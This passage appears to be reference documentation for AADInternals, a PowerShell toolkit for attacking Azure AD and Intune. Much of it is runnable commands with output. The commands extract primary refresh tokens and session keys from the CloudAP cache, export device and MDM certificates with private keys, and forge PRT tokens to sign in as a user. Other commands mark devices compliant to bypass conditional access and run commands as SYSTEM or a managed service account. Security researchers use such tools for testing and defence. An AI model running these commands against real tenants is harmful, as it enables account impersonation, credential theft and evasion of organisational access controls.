TenantId: 8aeb6b82-6cc7-4e33-becd-97566b330f5b
Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689
Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx"
Local SID:
S-1-5-32-544
Additional SIDs:
S-1-12-1-797902961-1250002609-2090226073-616445738
S-1-12-1-3408697635-1121971140-3092833713-2344201430
S-1-12-1-2007802275-1256657308-2098244751-2635987013
# Get user's credentials
$creds = Get-Credential
# Get new PRT and key
$prtKeys = Get-AADIntUserPRTKeys -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -Credentials $credExample 2:
# Get an access token for AAD join and save to cache
Get-AADIntAccessTokenForAADJoin -SaveToCache
# Join the device to Azure AD
Join-AADIntDeviceToAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64"Device successfully registered to Azure AD:
DisplayName: "My computer"
DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7
ObjectId: afdeac87-b32a-41a0-95ad-0a555a91f0a4
TenantId: 8aeb6b82-6cc7-4e33-becd-97566b330f5b
Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689
Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx"
Local SID:
S-1-5-32-544
Additional SIDs:
S-1-12-1-797902961-1250002609-2090226073-616445738
S-1-12-1-3408697635-1121971140-3092833713-2344201430
S-1-12-1-2007802275-1256657308-2098244751-2635987013
# Get an access token for MDM and save to cache
Get-AADIntAccessTokenForIntuneMDM -SaveToCache
# Get new PRT and key
$prtKeys = Get-AADIntUserPRTKeys -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -UseRefreshTokenExample 3:
# Export the local device certificate and transport keys
Export-AADIntLocalDeviceCertificate
Export-AADIntLocalDeviceTransportKeyDevice certificate exported to f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx
Transport key exported to f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem
# Save credentials (omit if MFA required or you need MFA claim)
$creds = Get-Credential
# Get new PRT and session key
$prtKeys = Get-AADIntUserPRTKeys -PfxFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx -TransportKeyFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem -Credentials $creds
# Get PRT token
$prttoken = New-AADIntUserPRTToken -Settings $prtkeys -GetNonceGet-AADIntUserPRTKeysFromCloudAP (*) 😈
Since version 0.9.6
Extracts the session key and primary refresh token from CloudAP cache and saves them to json file.
Example:
# Save user's credentials to a variable
$creds = Get-Credential
# Get PRT and session key
$prtKeys = Get-AADIntUserPRTKeysFromCloudAP -Credentials $credsKeys saved to 31abceff-a84c-4f3b-9461-582435d7d448.json
# Use the PRT and Session key to create PRTToken
$prttoken = New-AADIntUserPRTToken -Settings $prtkeysNew-AADIntUserPRTToken (*)
Since version 0.4.1
Creates a new Primary Refresh Token (PRT) as JWT to be used to sign-in as the user.
Example (continuing the previous example):
# Generate a new PRT token
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GetNonce
# Get the access token using the PRT token
$at = Get-AADIntAccessTokenForAADGraph -PRTToken $prtTokenNew-AADIntBulkPRTToken (A)
Since version 0.4.5
Creates a new BPRT (Bulk AAD PRT Token) for registering multiple devices to AAD.
Adds a corresponding user to Azure AD with UPN “package_
The BPRT will be returned as a string and saved to a .json file.
Example:
# Get the access token
Get-AADIntAccessTokenForAADGraph -Resource urn:ms-drs:enterpriseregistration.windows.net -SaveToCache
# Create a new BPRT
$bprt = New-AADIntBulkPRTToken -Name "My BPRT user"Output:
BPRT saved to package_8eb8b873-2b6a-4d55-bd96-27b0abadec6a-BPRT.json
# Get the access token for AAD Join using BPRT
Get-AADIntAccessTokenForAADJoin -BPRT $BPRT -SaveToCache
# Join the device to Azure AD
Join-AADIntDeviceToAzureAD -DeviceName "My computer"Device successfully registered to Azure AD:
DisplayName: "My computer"
DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7
Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689
Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx"
Local SID:
S-1-5-32-544
Additional SIDs:
S-1-12-1-797902961-1250002609-2090226073-616445738
S-1-12-1-3408697635-1121971140-3092833713-2344201430
S-1-12-1-2007802275-1256657308-2098244751-2635987013
# Get the access token for Intune using BPRT and Azure AD device certificate
Get-AADIntAccessTokenForIntuneMDM -BPRT $BPRT -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache
# Enroll the device to Intune
Join-AADIntDeviceToIntune -DeviceName "My computer"Intune client certificate successfully created:
Subject: "CN=5ede6e7a-7b77-41bd-bfe0-ef29ca70a3fb"
Issuer: "CN=Microsoft Intune MDM Device CA"
Cert thumbprint: A1D407FF66EF05D153B67129B8541058A1C395B1
Cert file name: "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx"
CA file name : "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM-CA.der"
IntMedCA file : "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM-INTMED-CA.der"
New-AADIntP2PDeviceCertificate (*)
Since version 0.4.1
Creates a new peer-to-peer (P2P) device or user certificate and exports it and the corresponding CA certificate. It can be used to enable RDP trust between devices of the same AAD tenant.
Example 1:
# Generate a new device P2P certificate using the device certificate
New-AADIntP2PDeviceCertificate -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -TenantId 4169fee0-df47-4e31-b1d7-5d248222b872 -DeviceName "mypc1.company.com"Device certificate successfully created:
Subject: "CN=d03994c9-24f8-41ba-a156-1805998d6dc7, DC=4169fee0-df47-4e31-b1d7-5d248222b872"
DnsName: "mydevice.contoso.com"
Issuer: "CN=MS-Organization-P2P-Access [2020]"
Cert thumbprint: 84D7641F9BFA90767EA3456E443E21948FC425E5
Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7-P2P.pfx"
CA file name : "d03994c9-24f8-41ba-a156-1805998d6dc7-P2P-CA.der"
Example 2:
# Generate a new user P2P certificate using the PRT and session key
New-AADIntP2PDeviceCertificate -Settings $prtKeysUser certificate successfully created:
Subject: "CN=TestU@contoso.com, CN=S-1-12-1-xx-xx-xx-xx, DC=0f73eaa6-7fd6-48b8-8897-e382ba96daf4"
Issuer: "CN=MS-Organization-P2P-Access [2020]"
Cert thumbprint: A7F1D1F134569E0234E6AA722354D99C3AA68D0F
Cert file name : "TestU@contoso.com-P2P.pfx"
CA file name : "TestU@contoso.com-P2P-CA.der"
Join-AADIntDeviceToIntuneMDM (M)
Since version 0.4.1
Enrolls the given device to Azure AD and generates a corresponding certificate.
After enrollment, the device is in compliant state, which allows bypassing conditional access (CA) restrictions based on the compliance.
The certificate has no password.
Example:
# Get access token with device id claim
Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache
# Enroll the device to Intune
Join-AADIntDeviceToIntune -DeviceName "My computer"Intune client certificate successfully created:
Subject: "CN=5ede6e7a-7b77-41bd-bfe0-ef29ca70a3fb"
Issuer: "CN=Microsoft Intune MDM Device CA"
Cert thumbprint: A1D407FF66EF05D153B67129B8541058A1C395B1
Cert file name: "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx"
CA file name : "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM-CA.der"
IntMedCA file : "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM-INTMED-CA.der"
Start-AADIntDeviceIntuneCallback (*)
Since version 0.4.2
Starts a device callback to Intune. Resets also the name of the device to given device name.
Example:
# Start the device
Start-AADIntDeviceIntuneCallback -pfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7MDM.pfxGet-AADIntDeviceRegAuthMethods (A)
Since version 0.4.3
Get’s the authentication methods used while registering the device.
For instance, if mfa was used while registering the device, also the PRT has mfa claim present.
Example:
# Get access token
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Get the authentication methods
Get-AADIntDeviceRegAuthMethods -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7"pwd
Set-AADIntDeviceRegAuthMethods (A)
Since version 0.4.3
Set’s the authentication methods used while registering the device.
Example:
# Get access token
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Set the authentication methods
Set-AADIntDeviceRegAuthMethods -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7" -Methods pwd,rsa,mfapwd
rsa
mfa
Get-AADIntDeviceTransportKey (A)
Since version 0.4.3
Gets the public key of transport key of the device created during registration/join.
Example:
# Get access token
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Export the transport key
Get-AADIntDeviceTransportKey -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7" Device TKPUB key successfully exported:
Device ID: d03994c9-24f8-41ba-a156-1805998d6dc7
Cert thumbprint: 4b56e1f1b80024359e34010d9aab3ced9c67ff5e
Cert SHA256: VD3rdP4R2KMzhp/TdqnoFTg6FaO5R0dE7LoC/H155M=
Public key file name : "d03994c9-24f8-41ba-a156-1805998d6dc7-TKPUB.json"
Set-AADIntDeviceTransportKey (A)
Since version 0.4.3
Sets the public key of transport key of the device created during registration/join.
Example1:
# Get access token
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Change the transport key to the internal any.sts
Set-AADIntDeviceTransportKey -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7" -UseBuiltInCertificateExample2:
# Change the transport key exported earlier
Set-AADIntDeviceTransportKey -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7" -JsonFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-TKPUB.jsonExample3:
# Change the transport key using pfx
Set-AADIntDeviceTransportKey -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7" -PfxFileName .\my_cert.pfx -PfxPassword "MyPassword"Get-AADIntDeviceCompliance (A)
Since version 0.4.3
Gets the user’s device compliance status using AAD Graph API. Does not require admin rights!
Example1:
# Get access token
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Get the device compliance
Get-AADIntDeviceCompliance -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7"displayName : SixByFour
objectId : 2eaa21a1-6362-4d3f-afc4-597592217ef0
deviceId : d03994c9-24f8-41ba-a156-1805998d6dc7
isCompliant : False
isManaged : True
deviceOwnership : Company
deviceManagementAppId : 0000000a-0000-0000-c000-000000000000
Example2:
# Get the device compliance of owned devices
Get-AADIntDeviceCompliance -My | Format-TabledisplayName objectId deviceId isCompliant isManaged deviceOwnership deviceManagementAppId
----------- -------- -------- ----------- --------- --------------- ---------------------
SixByFour 2eaa21a1-6362-4d3f-afc4-597592217ef0 d03994c9-24f8-41ba-a156-1805998d6dc7 False True Company 0000000a-0000-0000-c000-000000000000
DESKTOP-X4LCS 8ba68233-4d2b-4331-8b8b-27bc53204d8b c9dcde64-5d0f-4b3c-b711-cb6947837dc2 False True Company 0000000a-0000-0000-c000-000000000000
SM-1234 c00af9fe-108e-446b-aeee-bf06262973dc 74080692-fb38-4a7b-be25-27d9cbf95705 Personal
Set-AADIntDeviceCompliant (A)
Since version 0.4.3
Sets the user’s device compliant using AAD Graph API. Does not require admin rights.
Compliant and managed statuses can be used in conditional access (CA) rules.
Example 1:
# Get access token
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Set the device compliant
Set-AADIntDeviceCompliant -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7" -ManageddisplayName : SixByFour
objectId : 2eaa21a1-6362-4d3f-afc4-597592217ef0
deviceId : d03994c9-24f8-41ba-a156-1805998d6dc7
isCompliant :
isManaged : True
deviceOwnership : Company
deviceManagementAppId : 0000000a-0000-0000-c000-000000000000
Example 2:
# Get access token
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Set the device compliant
Set-AADIntDeviceCompliant -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7" -CompliantdisplayName : SixByFour
objectId : 2eaa21a1-6362-4d3f-afc4-597592217ef0
deviceId : d03994c9-24f8-41ba-a156-1805998d6dc7
isCompliant : True
isManaged : True
deviceOwnership : Company
deviceManagementAppId : 0000000a-0000-0000-c000-000000000000
Export-AADIntLocalDeviceCertificate 😈
Since version 0.6.6
Exports the device certificate and private key of the local AAD joined/registered device.
Certificate filename: <deviceid>.pfx
Example:
# Export the device certificate
Export-AADIntLocalDeviceCertificateCertificate exported to f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx
Export-AADIntLocalDeviceTransportKey 😈
Since version 0.6.6
Exports the transport key of the local AAD joined/registered device.
Filename: <deviceid>_tk.pem
Example:
# Export the device transport keys
Export-AADIntLocalDeviceTransportKeyTransport key exported to f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem
Export-AADIntLocalDeviceMDMCertificate 😈
Since version 0.9.6
Exports the MDM certificate and private key of the local Intune enrolled device.
Certificate filename:
Example:
# Export the MDM certificate
Export-AADIntLocalDeviceMDMCertificateMDM certificate exported to f72ad27e-5833-48d3-b1d6-00b89c429b91-MDM.pfx
Join-AADIntLocalDeviceToAzureAD 😈
Since version 0.6.6
Joins the local Windows device to Azure AD using the given certificate (and keys) created or exported earlier with AADInternals.
Creates required registry keys and values, saves transport key to SystemKeys, and starts related scheduled tasks.
Example 1:
# Save access token to cache
Get-AADIntAccessTokenForAADJoin -SaveToCache
# "Join" the device to Azure AD
Join-AADIntDeviceToAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64"Device successfully registered to Azure AD:
DisplayName: "My computer"
DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7
Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689
Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx"
Local SID:
S-1-5-32-544
Additional SIDs:
S-1-12-1-797902961-1250002609-2090226073-616445738
S-1-12-1-3408697635-1121971140-3092833713-2344201430
S-1-12-1-2007802275-1256657308-2098244751-2635987013
# Configure the local device to use the provided device certificate
Join-AADIntLocalDeviceToAzureAD -UserPrincipalName "JohnD@company.com" -PfxFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91.pfxOutput:
Device configured. To confirm success, restart and run: dsregcmd /status
Example 2:
# Export the device certificate
Export-AADIntLocalDeviceCertificateCertificate exported to f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx
# Export transportkeys
Export-AADIntLocalDeviceTransportKeyTransport key exported to f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem
# Configure the local device to use the provided device certificate and transport key
Join-AADIntLocalDeviceToAzureAD -UserPrincipalName "JohnD@company.com" -PfxFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx -TransportKeyFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pemOutput:
Device configured. To confirm success, restart and run: dsregcmd /status
Get-AADIntLocalDeviceJoinInfo 😈
Since version 0.6.6
Shows the Azure AD Join information of the local device.
Example 1:
# Get join information
Get-AADIntLocalDeviceJoinInfoJoinType : Joined
RegistryRoot : HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin
CertThumb : CEC55C2566633AC8DA3D9E3EAD98A599084D0C4C
CertPath : Cert:\LocalMachine\My\CEC55C2566633AC8DA3D9E3EAD98A599084D0C4C
TenantId : afdb4be1-057f-4dc1-98a9-327ffa079cca
DeviceId : f4a4ea70-b196-4305-9531-018c3bcfc112
AuthUserObjectId : d625e2e9-8465-4513-b6c9-8d34a3735d41
KeyName : 8bff0b7f02f6256b521de95a77d4e70d_934bc9f7-04ef-43d8-a343-610b736a4030
KeyFriendlyName : Device Identity Key
IdpDomain : login.windows.net
UserEmail : JohnD@company.com
AttestationLevel : 0
AikCertStatus : 0
TransportKeyStatus : 0
DeviceDisplayName : WIN-JohnD
OsVersion : 10.0.19044.1288
DdidUpToDate : 0
LastSyncTime : 1/28/2022 11:45:47 AM
Example 2:
# Get join information
Get-AADIntLocalDeviceJoinInfoWARNING: This device has a TPM, exporting keys probably does not work!
JoinType : Joined
RegistryRoot : HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin
CertThumb : FFDABA36622C66F1F9104703D77603AE1964E92B
CertPath : Cert:\LocalMachine\My\FFDABA36622C66F1F9104703D77603AE1964E92B
TenantId : afdb4be1-057f-4dc1-98a9-327ffa079cca
DeviceId : e4c56ee8-419a-4421-bff4-1d3cb1c85ead
AuthUserObjectId : b62a31e9-8268-485f-aba8-69696cdf3048
KeyName : C:\ProgramData\Microsoft\Crypto\PCPKSP\[redacted]\[redacted].PCPKEY
KeyFriendlyName : Device Identity Key
IdpDomain : login.windows.net
UserEmail : package_c1b50acc-82f6-4a19-ba87-e62e5f7fbeee@company.com
AttestationLevel : 0
AikCertStatus : 0
TransportKeyStatus : 3
DeviceDisplayName : cloudpc-80153
OsVersion : 10.0.19044.1469
DdidUpToDate : 0
LastSyncTime : 1/28/2022 11:45:47 AM
Add-AADIntSyncFabricServicePrincipal (A)
Since version 0.9.3
Adds Microsoft.Azure.SyncFabric service principal needed to create BPRTs.
Example:
# Save access token to cache
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Add the Microsoft.Azure.SyncFabric SP
Add-AADIntSyncFabricServicePrincipalDisplayName AppId ObjectId
----------- ----- --------
Microsoft.Azure.SyncFabric 00000014-0000-0000-c000-000000000000 138018f7-6aa2-454c-a103-a7e682e17d6b
Invoke-AADIntScriptAs (*) 😈
Since version 0.9.6
Invokes the given PS command as the given user by creating a service executable and starting it with given permissions.
Defaults to local system (NT AUTHORITY\SYSTEM).
Note! If the script fails, the AADInternalsXXXX executable may be left in the module directory. It can be removed with Remove-AADIntServices function.
Example 1:
# Invoke script as Group Managed Service Account
Invoke-AADIntScriptAs -Command "whoami" -GMSA 'CONTOSO\ADSyncMSA55a35$' -Verbose VERBOSE: Creating service AADInternals3486
VERBOSE: Creating service to be run as Local System
VERBOSE: Changing user to CONTOSO\ADSyncMSA55a35$
VERBOSE: Setting ServiceAccountManaged property
VERBOSE: Starting service AADInternals3486
VERBOSE: Creating outbound named pipe AADInternals3486-out
VERBOSE: Sending command AADInternals3486-out
VERBOSE: Creating inbound named pipe AADInternals3486-in
VERBOSE: Waiting for connection
VERBOSE: Reading response from AADInternals3486-in
contoso\adsyncmsa55a35$
VERBOSE: Stopping service AADInternals3486
VERBOSE: Deleting service AADInternals3486
VERBOSE: Deleting service executable C:\Program Files\WindowsPowerShell\Modules\AADinternals-endpoints\0.9.6\AADInternals3486.exe
Example 2:
# Invoke script as local system
Invoke-AADIntScriptAs -Command "whoami" -Verbose VERBOSE: Creating service AADInternals5749
VERBOSE: Creating service to be run as Local System
VERBOSE: Starting service AADInternals5749
VERBOSE: Creating outbound named pipe AADInternals5749-out
VERBOSE: Sending command AADInternals5749-out
VERBOSE: Creating inbound named pipe AADInternals5749-in
VERBOSE: Waiting for connection
VERBOSE: Reading response from AADInternals5749-in
nt authority\system
VERBOSE: Stopping service AADInternals5749
VERBOSE: Deleting service AADInternals5749
VERBOSE: Deleting service executable C:\Program Files\WindowsPowerShell\Modules\AADinternals-endpoints\0.9.6\AADInternals5749.exe
Remove-AADIntServices (*) 😈
Since version 0.9.6
Removes the given or all AADInternalsXXXX services created by Invoke-AADIntScriptAs
Example 1:
# Remove all AADInternals services
Remove-AADIntServices -VerboseVERBOSE: Removing all AADInternals services
VERBOSE: Stopping service AADInternals1522
VERBOSE: Deleting service AADInternals1522
VERBOSE: Deleting service executable C:\Program Files\WindowsPowerShell\Modules\AADinternals-endpoints\0.9.6\AADInternals1522.exe
VERBOSE: Deleting service executable C:\Program Files\WindowsPowerShell\Modules\AADinternals-endpoints\0.9.6\AADInternals3279.exe
VERBOSE: Deleting service executable C:\Program Files\WindowsPowerShell\Modules\AADinternals-endpoints\0.9.6\AADInternals4934.exe
Client functions
Get-AADIntOfficeUpdateBranch 😈
Since version 0.2.4
This function shows the update branch (currently called channel) of the Office.
Example:
# Get Office update branch
Get-AADIntOfficeUpdateBranchOutput:
Update branch: Current
Set-AADIntOfficeUpdateBranch 😈
Since version 0.2.4
This function sets the update branch (currently called channel) of the Office.
Must run as administrator.
| Branch | Channel | Notes |
|---|---|---|
| InsiderFast | Weekly builds, not generally supported | |
| FirstReleaseCurrent | Preview of the current | |
| Current | Monthly | Monthly updates |
| FirstReleaseDeferred | Semi-Annual (Targeted) | Preview of the deferred (March and September) |
| Deferred | Semi-Annual | Semi-annual updates (January and July) |
| DogFood | Only for Microsoft employees |
Example:
# Get Office update branch
Set-AADIntOfficeUpdateBranch -UpdateBranch InsiderFastOutput:
Update branch: InsiderFast
Support and Recovery Assistant (SARA)
Test-AADIntSARAPort
Since version 0.9.3
Tests whether the given TCP port is open on the given host using SARA API.
Example:
# Test is the given port open
Get-AADIntAccessTokenForSARA -SaveToCache
Test-AADIntSARAPort -Host www.company.com -Port 443Output:
Host Port Open
---- ---- ----
www.company.com 443 True
Resolve-AADIntSARAHost
Since version 0.9.3
Tests whether the given hostname can be resolved from DNS using SARA API.
Example:
# Test is the given port open
Get-AADIntAccessTokenForSARA -SaveToCache
Resolve-AADIntSARAHost -Host www.company.comOutput:
Host Resolved
---- --------
www.company.com True
Get-AADIntSARAUserInfo
Since version 0.2.4
This function gets user information using Microsoft Support and Recovery Assistant (SARA) API.
Can help in diagnostics and problem shooting. The analysis is run at MS diagnostic server and can take up to 30 seconds.
Example:
# Get user information
$at=Get-AADIntAccessTokenForSARA
Get-AADIntSARAUserInfo -AccessToken $atOutput:
Retrieving information..
Retrieving information..
Retrieving information..
AnalyzerName : AnalysisRule, Microsoft.Online.CSE.HRC.Analysis.Analyzers.ExchangeCmdlets.GetUserAnalyzer, Microsoft.Online.CSE.HRC.Analysis.Analyzers.ExchangeCmdlets, Version=16.0.3144.0, Culture=
neutral, PublicKeyToken=31bf3856ad364e35
AnalyzerDesc : Attempting to get information about user "user@company.com".
StartTime : 2019-07-08T12:29:40.4911399Z
Duration : 00:00:51.1166849
CoreDuration : 00:00:51.1166849
WaitingDuration : 00:00:00
TotalChildrenDuration : 00:00:00
TotalWaitingDuration : 00:00:00
ParentId : 00000000-0000-0000-0000-000000000000
Value : true
ResultTitle : Extracting information about Office 365 user is completed.
ResultTitleId : Microsoft.Online.CSE.HRC.Analysis.Analyzers.ExchangeCmdlets.StringsGetUserComplete
UserMessage : Successfully got the user information for "user@company.com".
UserMessageId : Microsoft.Online.CSE.HRC.Analysis.Analyzers.ExchangeCmdlets.StringsGetUserSuccessDesc
AdminMessage :
SupportMessage :
IsMessageShown : False
GenericInfo :
Severity : 2
OverridesChildren : False
ProblemId : 00000000-0000-0000-0000-000000000000
TimeCached : 0001-01-01T00:00:00
SaraSymptomId : 00000000-0000-0000-0000-000000000000
SaraWorkflowRunId : 00000000-0000-0000-0000-000000000000
SaraSymptomRunId : 00000000-0000-0000-0000-000000000000
SaraSessionId : 00000000-0000-0000-0000-000000000000
Id : d5b4c239-7619-4367-9ccb-e9fe2fe01e23
DisplayName : Demo USer
FirstName : Demo
Guid : 67a93665-decb-4058-b42a-271d41c47c61
Id :
Identity : EURP185A001.PROD.OUTLOOK.COM/Microsoft Exchange Hosted Organizations/demoo365life4.onmicrosoft.com/AdminO365life
IsDirSynced : False
IsValid : True
LastName : User
MicrosoftOnlineServicesID : user@company.com
Name : DemoUser
NetID : 401320004BA7A415
RecipientType : UserMailbox
RecipientTypeDetails : UserMailbox
UserPrincipalName : user@company.com
WindowsEmailAddress : user@company.com
WindowsLiveID : user@company.com
IsHybridTenant : False
Forest : EURP185.PROD.OUTLOOK.COM
Get-AADIntSARATenantInfo
Since version 0.2.4
This function gets tenant information using Microsoft Support and Recovery Assistant (SARA) API.
Can help in diagnostics and problem shooting. The analysis is run at MS diagnostic server but should take only a second or two.
Example:
# Get user information
$at=Get-AADIntAccessTokenForSARA
Get-AADIntSARATenantInfo -AccessToken $atOutput:
Retrieving information..
AnalyzerName : AnalysisRule, Microsoft.Online.CSE.HRC.Analysis.Analyzers.TenantInfo.TenantUserInfoAnalyzer, Microsoft.Online.CSE.HRC.Analysis.Analyzers.TenantInfo, Version=16.0.3144.0, Culture=neu
tral, PublicKeyToken=31bf3856ad364e35
AnalyzerDesc : Checking your tenant and account information.
StartTime : 2019-07-08T12:31:06.1602586Z
Duration : 00:00:00.6250818
CoreDuration : 00:00:00.6250818
WaitingDuration : 00:00:00
TotalChildrenDuration : 00:00:00
TotalWaitingDuration : 00:00:00
ParentId : 00000000-0000-0000-0000-000000000000
Value : true
ResultTitle : The licenses of your tenant and account are all good!
ResultTitleId : Microsoft.Online.CSE.HRC.Analysis.Analyzers.TenantInfo.StringsGetTenantInfoSuccess
UserMessage :
UserMessageId :
AdminMessage :
SupportMessage : <Setup><ProductId>O365ProPlusRetail</ProductId><ReleaseTrack>False</ReleaseTrack></Setup>
IsMessageShown : False
GenericInfo : User Puid is not null or empty.OrgIg_User<TenantUserInfo><IsLicensed>True</IsLicensed><ProvisioningStatus>PendingInput</ProvisioningStatus><PreferredLanguage>en</PreferredLanguage/>
<ValidationStatus>Healthy</ValidationStatus><ReleaseTrack>Other</ReleaseTrack><LicenseInformations><LicenseInformation><SKUPartNumber>SPE_E5</SKUPartNumber><ServiceStatus><ServiceTy
pe>Exchange</ServiceType><ServiceName>INFORMATION_BARRIERS</ServiceName><ProvisioningStatus>PendingProvisioning</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>Micro
softKaizala</ServiceType><ServiceName>KAIZALA_STANDALONE</ServiceName><ProvisioningStatus>PendingProvisioning</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>Bing</S
erviceType><ServiceName>MICROSOFT_SEARCH</ServiceName><ProvisioningStatus>PendingProvisioning</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>Exchange</ServiceType><
ServiceName>PREMIUM_ENCRYPTION</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>WhiteboardServices</ServiceType><ServiceName>
WHITEBOARD_PLAN3</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>Exchange</ServiceType><ServiceName>MIP_S_CLP2</ServiceName>
<ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>Exchange</ServiceType><ServiceName>MIP_S_CLP1</ServiceName><ProvisioningStatus>Success</P
rovisioningStatus></ServiceStatus><ServiceStatus><ServiceType>Exchange</ServiceType><ServiceName>MYANALYTICS_P2</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></Servic
eStatus><ServiceStatus><ServiceType>Exchange</ServiceType><ServiceName>PAM_ENTERPRISE</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><Se
rviceType>AzureAdvancedThreatAnalytics</ServiceType><ServiceName>ATA</ServiceName><ProvisioningStatus>Disabled</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>To-Do<
/ServiceType><ServiceName>BPOS_S_TODO_3</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>ProcessSimple</ServiceType><ServiceN
ame>FLOW_O365_P3</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>PowerAppsService</ServiceType><ServiceName>POWERAPPS_O365_P
3</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>OfficeForms</ServiceType><ServiceName>FORMS_PLAN_E5</ServiceName><Provisio
ningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>Adallom</ServiceType><ServiceName>ADALLOM_S_STANDALONE</ServiceName><ProvisioningStatus>Disabled</
ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>MicrosoftStream</ServiceType><ServiceName>STREAM_O365_E5</ServiceName><ProvisioningStatus>Success</ProvisioningStatus>
</ServiceStatus><ServiceStatus><ServiceType>Deskless</ServiceType><ServiceName>Deskless</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><
ServiceType>Exchange</ServiceType><ServiceName>THREAT_INTELLIGENCE</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>Teamspace
API</ServiceType><ServiceName>TEAMS1</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>WindowsDefenderATP</ServiceType><Servic
eName>WINDEFATP</ServiceName><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>Windows</ServiceType><ServiceName>WIN10_PRO_ENT_SUB</Service
Name><ProvisioningStatus>Success</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>RMSOnline</ServiceType><ServiceName>RMS_S_PREMIUM2</ServiceName><ProvisioningStatus>
Disabled</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>AADPremiumService</ServiceType><ServiceName>AAD_PREMIUM_P2</ServiceName><ProvisioningStatus>Disabled</Provis
ioningStatus></ServiceStatus><ServiceStatus><ServiceType>RMSOnline</ServiceType><ServiceName>RMS_S_PREMIUM</ServiceName><ProvisioningStatus>Disabled</ProvisioningStatus></ServiceSta
tus><ServiceStatus><ServiceType>RMSOnline</ServiceType><ServiceName>RMS_S_ENTERPRISE</ServiceName><ProvisioningStatus>Disabled</ProvisioningStatus></ServiceStatus><ServiceStatus><Se
rviceType>MultiFactorService</ServiceType><ServiceName>MFA_PREMIUM</ServiceName><ProvisioningStatus>Disabled</ProvisioningStatus></ServiceStatus><ServiceStatus><ServiceType>SCO</Ser
